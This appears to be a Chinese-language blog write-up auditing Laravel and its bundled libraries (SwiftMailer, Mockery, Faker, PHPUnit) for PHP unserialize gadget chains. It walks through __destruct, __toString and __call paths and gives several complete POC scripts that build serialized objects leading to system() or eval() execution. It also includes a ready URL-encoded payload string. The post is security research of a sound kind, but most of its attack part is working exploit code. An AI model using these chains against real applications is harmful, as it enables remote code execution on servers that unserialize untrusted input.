没事做,java依赖向搞不定就来审计框架
- composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
- #下载的版本应该是 5.4.30的。
既然是反序列化 直接找__destruct()
KeyCache\DiskKeyCache.php

跟进
- public function clearAll($nsKey) //nsKey()数组
- {
- if (array_key_exists($nsKey, $this->_keys)) { //_keys 中查找nsKey
- foreach ($this->_keys[$nsKey] as $itemKey => $null) { //遍历nsKey 的值 赋给itemKey //array["$nsKey"=>Array["$itemKey"=>"value"]]
- $this->clearKey($nsKey, $itemKey);
- }
- if (is_dir($this->_path.'/'.$nsKey)) {
- rmdir($this->_path.'/'.$nsKey);
- }
- unset($this->_keys[$nsKey]);
- }
- }
跟进 clearKey
- public function clearKey($nsKey, $itemKey)
- {
- if ($this->hasKey($nsKey, $itemKey)) {
- $this->_freeHandle($nsKey, $itemKey);
- unlink($this->_path.'/'.$nsKey.'/'.$itemKey);
- }
- }
跟进 hashkey
- public function hasKey($nsKey, $itemKey)
- {
- return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);
- }
这里的 _path 可控

而这里的$nsKey 和 $itemKey 都是我们的数组只要有值就行了。
return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);
这里进行了一个 字符串拼接,因为path 可控,如果他是一个类,那么会自动触发__toString()方法
触发toString本地测试,会弹出计算器
-
- class test{
- public function __toString(){
- system("calc.exe");
- return "test this";
- }
- }
-
-
- $a = new test();
- echo "this class a " . $a;
现在要寻找 合适的__toString() 方法
找到 /Mockery/Generator/DefinedTargetClass.php
- public function __toString()
- {
- return $this->getName();
- }
跟进
- public function getName()
- {
- return $this->rfc->getName();
- }
这里的rfc 可控

如果这个rfc 是一个类 且该类中没有getName 方法 则会自动调用call()方法,就不本地测试了
全局搜索可能可以利用的 __call()
找到 src/Faker/Generator.php 的__call()
- public function __call($method, $attributes)
- {
- return $this->format($method, $attributes);
- }
因为我们原来的链子是 $this ->rfc ->getName() 触发的 __call
所以 这里的 $method 为 getName。 $attributes 可控。
跟进format
- public function format($formatter, $arguments = array())
- {
- return call_user_func_array($this->getFormatter($formatter), $arguments);
- }
看到危险函数 call_user_func_array ,跟进getFormatter
- public function getFormatter($formatter)
- {
- if (isset($this->formatters[$formatter])) {
- return $this->formatters[$formatter];
- }
这个 $formatters 是可控的

现在 $formatters 可控 ,$arguments也可控 ,是不是意味着可以RCE,但是遇到了个问题,造成这个链子的失败:

这个类中有个__wakeup方法,他把 $formatters 置空了,而反序列化是必须经过wakeup()的,所以这个链子无法利用成功
继续寻找 __call方法:
在 src/Faker/ValidGenerator.php 找到:
- public function __call($name, $arguments)
- {
- $i = 0;
- do {
- $res = call_user_func_array(array($this->generator, $name), $arguments);
- $i++;
- if ($i > $this->maxRetries) {
- throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
- }
- } while (!call_user_func($this->validator, $res));
依旧存在危险函数,因为一开始我们的链子断掉了 所以 我们一开始的 链子还是回到一开始的
$this->rfc->getName();
所以这里的 $name = getName, $this->generator 可控,所以这里的
call_user_func_array(array($this->generator, $name), $arguments)
就是 可以把generator 看成 一个类 然后 调用他的 $name 方法,因此这里的name 不能是我们控制的值。
关于这个:
- if ($i > $this->maxRetries) {
- throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
应该是maxRetries 有值就可以了吧(猜的
while (!call_user_func($this->validator, $res));
这个 $this->validator 可控,而这里的 $res 是上面的那个语句得到的结果,如果我们能控制 $res 的值,那么就能够 RCE 了!
思路:$res 是 $res = call_user_func_array(array($this->generator, $name), $arguments)得到的,这里是 call_user_func_array( [ $generator, getName()], $arguments)。 所以我的思路是,把$generator 变成一个类,这样他就会调用__call方法 ,继续利用,可以使$res 成为我们想要的值。
在 src/Faker/DefaultGenerator.php 找到:
- public function __call($method, $attributes)
- {
- return $this->default;
- }
这里的default 可控,那么这条链子就通了
poc:
-
- namespace {
-
- use \Mockery\Generator\DefinedTargetClass;
-
- class Swift_KeyCache_DiskKeyCache
- {
- private $_keys = ['snowy' => array('snowy' => 'snowy')];
- private $_path;
-
- public function __construct()
- {
- $this->_path = new DefinedTargetClass();
- }
- }
- echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
- }
-
-
- namespace Mockery\Generator {
-
- use Faker\ValidGenerator;
-
- class DefinedTargetClass
- {
-
- private $rfc;
-
- public function __construct()
- {
-
- $this->rfc = new ValidGenerator();
- }
- }
- }
-
- namespace Faker {
-
- class ValidGenerator
- {
-
- protected $generator;
- protected $validator;
- protected $maxRetries;
-
- public function __construct()
- {
- $this->generator = new DefaultGenerator();
- $this->validator = "system";
- $this->maxRetries = 7;
- }
- }
-
- class DefaultGenerator
- {
- protected $default;
-
- public function __construct()
- {
- $this->default = "ls";
- }
- }
-
-
- }
- //O%3A27%3A%22Swift_KeyCache_DiskKeyCache%22%3A2%3A%7Bs%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_keys%22%3Ba%3A1%3A%7Bs%3A5%3A%22snowy%22%3Ba%3A1%3A%7Bs%3A5%3A%22snowy%22%3Bs%3A5%3A%22snowy%22%3B%7D%7Ds%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_path%22%3BO%3A36%3A%22Mockery%5CGenerator%5CDefinedTargetClass%22%3A1%3A%7Bs%3A41%3A%22%00Mockery%5CGenerator%5CDefinedTargetClass%00rfc%22%3BO%3A20%3A%22Faker%5CValidGenerator%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00generator%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A2%3A%22ls%22%3B%7Ds%3A12%3A%22%00%2A%00validator%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00maxRetries%22%3Bi%3A7%3B%7D%7D%7D
继续原来的 toString 方法 还能挖~从这里开始~
- public function hasKey($nsKey, $itemKey)
- {
- return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);
- }
继续全局找__toString()
找了有一会
Argument/Token/ObjectStateToken.php
- public function __toString()
- {
- return sprintf('state(%s(), %s)',
- $this->name,
- $this->util->stringify($this->value)
- );
- }
此时 ,$this->util 和 $this->value 可控 一样的 util 如果是类,则调用call ,所以我们还是找call
因为有事 所以待审。。。。
Routing/PendingResourceRegistration.php
- namespace Illuminate\Routing;
- class PendingResourceRegistration{
-
- public function __destruct()
- {
- if (! $this->registered) {
- $this->register();
- }
- }}
跟进register
- namespace Illuminate\Routing;
- class PendingResourceRegistration{
-
- public function register()
- {
- $this->registered = true;
-
- return $this->registrar->register(
- $this->name, $this->controller, $this->options
- );
- }
- }
熟悉的 $this->registrar->register 格式,registrar 可控,找__call方法
src/Illuminate/Validation/Validator.php
- namespace Illuminate\Validation;
- class Validator{
-
- public function __call($method, $parameters)
- {
- $rule = Str::snake(substr($method, 8));
-
- if (isset($this->extensions[$rule])) {
- return $this->callExtension($rule, $parameters);
- }
-
- throw new BadMethodCallException(sprintf(
- 'Method %s::%s does not exist.', static::class, $method
- ));
- }}
$rule = Str::snake(substr($method, 8));
$method = register , $parameters = [ $this->name, $this->controller, $this->options ]
substr(register,8)截取的是空字符 ''
- if (isset($this->extensions[$rule])) {
- return $this->callExtension($rule, $parameters);
- }
extensions 可控:

进入 callExtension($rule, $parameters)
- protected function callExtension($rule, $parameters)
- {
- $callback = $this->extensions[$rule];
-
- if (is_callable($callback)) {
- return $callback(...array_values($parameters));
- } elseif (is_string($callback)) {
- return $this->callClassBasedExtension($callback, $parameters);
- }
- }
$this->extensions[$rule] = $this->extensions[‘’] ,['']就等于 $callback

php在用户自定义函数中支持可变数量的参数列表,包含…的参数,会转换为指定参数变量的一个数组。array_values会返回数组中所有值组成的数组
因此这里设置 $callback = $this->extensions[''] = call_user_func
传进来的三个参数($parameters)分别设置为:call_user_func、system、命令
所以这里的 $name = call_user_func , $controller = system , $options = 我们要执行的命令
- namespace Illuminate\Validation{
- class Validator{
- public $extensions = [];
- public function __construct()
- {
- $this ->extensions[''] = 'call_user_func';
- }
- }
- }
- namespace Illuminate\Routing{
- use Illuminate\Validation\Validator;
- class PendingResourceRegistration{
- protected $registrar;
- protected $registered=false;
- protected $name ='call_user_func';
- protected $controller ='system';
- protected $options ='whoami';
-
- public function __construct()
- {
- $this ->registrar = new Validator();
- }
- }echo urlencode(serialize(new PendingResourceRegistration()));
- }
回到此处:
- namespace Illuminate\Routing;
- class PendingResourceRegistration{
-
- public function __destruct()
- {
- if (! $this->registered) {
- $this->register();
- }
- }}
- namespace Illuminate\Routing;
- class PendingResourceRegistration{
-
- public function register()
- {
- $this->registered = true;
-
- return $this->registrar->register(
- $this->name, $this->controller, $this->options
- );
- }
- }
继续找call方法 Illuminate/View/InvokableComponentVariable.php
- namespace Illuminate\View;
- class InvokableComponentVariable{
- public function __call($method, $parameters){
- return $this->__invoke()->{$method}(...$parameters);}
- }
这里 的call 方法 传入的 $method 是 register ,$parameters = $this->name, $this->controller, $this->options
跟进第一个__invoke():
- namespace Illuminate\View;
- public function __invoke()
- {
- return call_user_func($this->callable);
- }
protected $callable; 可控 且可以设置成一个数组,第一个元素为类名,第二个参数为类方法,便能够利用,先找到一个可利用的类
先全局搜索 eval() 函数
在 \vendor\phpunit\phpunit\src\Framework\MockObject\MockClass.php 找到
- namespace PHPUnit\Framework\MockObject;
- class MockClass{
-
- public function generate(): string
- {
- if (!class_exists($this->mockName, false)) {
- eval($this->classCode);
-
- call_user_func(
- [
- $this->mockName,
- '__phpunit_initConfigurableMethods',
- ],
- ...$this->configurableMethods
- );
- }}
$mockName 可控,設置成一個 不存在的类即可

$classCode 可控 所以可以设置我们要执行的代码
POC:
- namespace PHPUnit\Framework\MockObject{
- class MockClass{
- private $mockName;
- private $classCode;
- public function __construct()
- {
- $this->mockName = "snowy";
- $this->classCode = "system('whoami');";
- }
- }}
-
- namespace Illuminate\View {
-
- use PHPUnit\Framework\MockObject\MockClass;
-
- class InvokableComponentVariable
- {
- protected $callable ;
- public function __construct(){
- $this ->callable =array(new MockClass(), 'generate');
- }
-
- }
- }
- namespace Illuminate\Routing {
-
- use Illuminate\View\InvokableComponentVariable;
-
- class PendingResourceRegistration{
-
- protected $registered ;
- protected $registrar ;
-
- public function __construct(){
- $this ->registered = false;
- $this ->registrar = new InvokableComponentVariable();
- }
- }
- echo urlencode(serialize(new PendingResourceRegistration()));
- }